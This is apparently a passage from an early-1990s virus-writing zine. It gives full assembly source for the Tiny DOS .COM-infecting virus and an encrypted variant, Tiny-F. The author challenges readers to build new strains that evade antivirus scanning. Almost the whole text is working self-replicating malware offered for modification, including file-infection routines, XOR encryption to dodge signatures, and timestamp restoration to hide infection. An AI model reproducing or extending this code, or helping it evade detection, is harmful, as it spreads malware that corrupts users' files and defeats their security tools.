Virus Challenge --------------- This virus challenge goes right up to what I have included into my mag at the beginning. I'm going to show you 2 copies of the Tiny Virus(tiny and tiny-f). You can look at the changes made and where the virus was improved. So my challenge to you is to program a new strain of this virus so that scan doesn't catch it**. ** You can send the SOURCE CODE to me if you want me to take a look at it. Sorry I wont take com's or exe's! If you send me one they will be deleted right away. Thanx! Cut out here for Tiny ---------------------------------------------------------------------------- ; Name: Tiny ; Aliases: 163 COM Virus, Tiny 163 Virus, Kennedy-163 ; V Status: Rare ; Discovery: June, 1990 ; Symptoms: COMMAND.COM & .COM file growth ; Origin: Denmark ; Eff Length: 163 Bytes ; Type Code: PNCK - Parasitic Non-Resident .COM Infector ; Detection Method: ViruScan V64+, VirexPC, F-Prot 1.12+, NAV, IBM Scan 2.00+ ; Removal Instructions: Scan/D, F-Prot 1.12+, or Delete infected files ; General Comments: ; The 163 COM Virus, or Tiny Virus, was isolated by Fridrik Skulason ; of Iceland in June 1990. This virus is a non-resident generic ; .COM file infector, and it will infect COMMAND.COM. ; ; The first time a file infected with the 163 COM Virus is executed, ; the virus will attempt to infect the first .COM file in the ; current directory. On bootable diskettes, this file will normally ; be COMMAND.COM. After the first .COM file is infected,each time ; an infected program is executed another .COM file will attempt to ; be infected. Files are infected only if their original length is ; greater than approximately 1K bytes. ; ; Infected .COM files will increase in length by 163 bytes, and have ; date/time stamps in the directory changed to the date/time the ; infection occurred. Infected files will also always end with this ; hex string: '2A2E434F4D00'. ; ; This virus currently does nothing but replicate, and is the ; smallest MS-DOS virus known as of its isolation date. ; ; The Tiny Virus may or may not be related to the Tiny Family. ; ^like she'd know the difference! ; ;----------------------------------------------------------------------------- PAGE 59,132 data_2e equ 1ABh ;start of virus seg_a segment byte public ; assume cs:seg_a, ds:seg_a ;assume cs, ds - code org 100h ;orgin of all COM files s proc far start: jmp loc_1 ;jump to virus ;this is a replacement for an infected file db 0CDh, 20h, 7, 8, 9 ;int 20h ;pop es loc_1: call sub_1 ; s endp sub_1 proc near ; pop si ;locate all virus code via sub si,10Bh ;si, cause all offsets will mov bp,data_1[si] ;change when virus infects add bp,103h ;a COM file lea dx,[si+1A2h] ;offset of '*.COM',0 - via SI xor cx,cx ;clear cx - find only normal ;attributes mov ah,4Eh ;find first file loc_2: int 21h ; jc loc_6 ;no files found? then quit mov dx,9Eh ;offset of filename found mov ax,3D02h ;open file for read/write access int 21h ; mov bx,ax ;save handle into bx mov ah,3Fh ;read from file lea dx,[si+1A8h] ;offset of save buffer mov di,dx ; mov cx,3 ;read three bytes int 21h ; cmp byte ptr [di],0E9h ;compare buffer to virus id ;string je loc_4 ; loc_3: mov ah,4Fh ;find the next file jmp short loc_2 ;and test it loc_4: mov dx,[di+1] ;lsh of offset mov data_1[si],dx ; xor cx,cx ;msh of offset mov ax,4200h ;set the file pointer int 21h ; mov dx,di ;buffer to save read mov cx,2 ;read two bytes mov ah,3Fh ;read from file int 21h ; cmp word ptr [di],807h ;compare buffer to virus id je loc_3 ;same? then find another file ;heres where we infect a file xor dx,dx ;set file pointer xor cx,cx ;ditto mov ax,4202h ;set file pointer int 21h ; cmp dx,0 ;returns msh jne loc_3 ;not the same? find another file cmp ah,0FEh ;lsh = 254??? jae loc_3 ;if more or equal find another file mov ds:data_2e[si],ax ;point to data mov ah,40h ;write to file lea dx,[si+105h] ;segment:offset of write buffer mov cx,0A3h ;write 163 bytes int 21h ; jc loc_5 ;error? then quit mov ax,4200h ;set file pointer xor cx,cx ;to the top of the file mov dx,1 ; int 21h ; mov ah,40h ;write to file lea dx,[si+1ABh] ;offset of jump to virus code mov cx,2 ;two bytes int 21h ; ;now close the file loc_5: mov ah,3Eh ;close file int 21h ; loc_6: jmp bp ;jump to original file data_1 dw 0 ; db '*.COM',0 ;wild card search string sub_1 endp seg_a ends end start ---------------------------------------------------------------------------- The Tiny-F Strain made by DA Cut Here! ---------------------------------------------------------------------------- tinyv SEGMENT BYTE PUBLIC 'code' ASSUME CS:tinyv, DS:tinyv, SS:tinyv, ES:tinyv ORG 100h DOS EQU 21h start: JMP pgstart exlbl: db 0CDh, 20h, 7, 8, 9 pgstart:CALL tinyvir tinyvir: POP SI ; get SI for storage SUB SI,offset tinyvir ; reset SI to virus start MOV BP,[SI+blnkdat] ; store SI in BP for return ADD BP, OFFSET exlbl CALL endecrpt JMP SHORT realprog ;----------------------------------------------------------------------------- ; nonencrypted subroutines start here ;----------------------------------------------------------------------------- ; PCM's encryption was stupid, mine is better - Dark Angel endecrpt: ; Only need to save necessary registers - Dark Angel PUSH AX ; store registers PUSH BX PUSH CX PUSH SI ; New, better, more compact encryption engine MOV BX, [SI+EN_VAL] ADD SI, offset realprog MOV CX, endenc - realprog SHR CX, 1 JNC start_encryption DEC SI start_encryption: MOV DI, SI encloop: LODSW ; DS:[SI] -> AX XOR AX, BX STOSW LOOP encloop POP SI ; restore registers POP CX POP BX POP AX RET ;-----end of encryption routine nfect: CALL endecrpt MOV [SI+offset endprog+3],AX; point to data MOV AH,40H ; write instruction LEA DX,[SI+0105H] ; write buffer loc | MOV CX,offset endprog-105h ; (size of virus) --\|/-- INT DOS ; do it! PUSHF CALL endecrpt POPF JC outa1 ; error, bug out RET outa1: JMP exit ;----------------------------------------------------------------------------- ; Unencrypted routines end here ;----------------------------------------------------------------------------- realprog: CLD ; forward direction for string ops ; Why save DTA? This part killed. Saves quite a few bytes. Dark Angel ; Instead, set DTA to SI+ENDPROG+131h MOV AH, 1Ah ; Set DTA LEA DX, [SI+ENDPROG+131h] ; to DS:DX INT 21h LEA DX,[SI+fspec] ; get filespec (*.COM) XOR CX, CX ; || (clear regs) MOV AH,4EH ; || (find files) mainloop: ; \||/ INT DOS ; ----\/---- JC hiccup ; no more files found, terminate virus ; Next part had to be changed to account for new DTA address - Dark Angel LEA DX, [SI+ENDPROG+131h+30]; set file name pointer ; (offset 30 is DTA filename start) MOV AX,3D02H ; open file INT DOS ; do it! MOV BX,AX ; move file handle to BX MOV AH,3FH ; read file LEA DX,[SI+endprog] ; load end of program (as buffer pntr) MOV DI,DX ; set Dest Index to area for buffer MOV CX,0003H ; read 3 bytes INT DOS ; do it! CMP BYTE PTR [DI],0E9H ; check for JMP at start JE infect ; If begins w/JMP, Infect nextfile: MOV AH,4FH ; set int 21 to find next file JMP mainloop ; next file, do it! hiccup: JMP exit infect: MOV AX,5700h ; get date function INT DOS ; do it! PUSH DX ; store date + time PUSH CX MOV DX,[DI+01H] ; set # of bytes to move MOV [SI+blnkdat],DX ; " " " " " " ; Tighter Code here - Dark Angel XOR CX,CX ; " " " " " " (0 here) MOV AX,4200H ; move file INT DOS ; do it! MOV DX,DI ; set dest index to area for buffer MOV CX,0002H ; two bytes MOV AH,3FH ; read file INT DOS ; do it! CMP WORD PTR [DI],0807H ; check for infection JE nextfile ; next file if infected getaval: ; encryption routine starts here ; My modifications here - Dark Angel MOV AH, 2Ch ; DOS get TIME function INT DOS ; do it! OR DX, DX ; Is it 0? JE getaval ; yeah, try again MOV word ptr [si+offset en_val], DX ; Store it ; Tighter code here - Dark Angel XOR DX,DX ; clear regs XOR CX,CX ; " " MOV AX,4202H ; move file pointer INT DOS ; do it! OR DX,DX ; new pointer location 0? JNE nextfile ; if no then next file CMP AH,0FEH ; new pointer loc too high? JNC nextfile ; yes, try again CALL nfect MOV AX,4200H ; move pointer XOR CX, CX ; clear reg MOV DX,OFFSET 00001 ; where to set pointer INT DOS ; do it! MOV AH,40H ; write to file LEA DX,[SI+offset endprog+3]; write data at SI+BUFFER MOV CX,0002H ; two bytes (the JMP) INT DOS ; do it! MOV AX,5701h ; store date POP CX ; restore time POP DX ; restore date INT DOS ; do it! exit: MOV AH,3EH ; close file INT DOS ; do it! ; Return DTA to old position - Dark Angel MOV AH, 1Ah ; Set DTA MOV DX, 80h ; to PSP DTA INT 21h JMP BP ;----------------------------------------------------------------------------- ; encrypted data goes here ;----------------------------------------------------------------------------- fspec LABEL WORD DB '*.COM',0 nondata DB 'Tiny-F version 1.1' ; Program identification DB 'Dark Angel' ; author identification DB 'Released 10-19-91' ; release date endenc LABEL BYTE ; end of encryption zone ;----------------------------------------------------------------------------- ; nonencrypted data goes anywhere after here ;----------------------------------------------------------------------------- blnkdat LABEL WORD DW 0000H ; Only en_val is needed now because of new encryption mechanism en_val DW 0h endprog LABEL WORD tinyv ENDS END start ---------------------------------------------------------------------------- This is the end!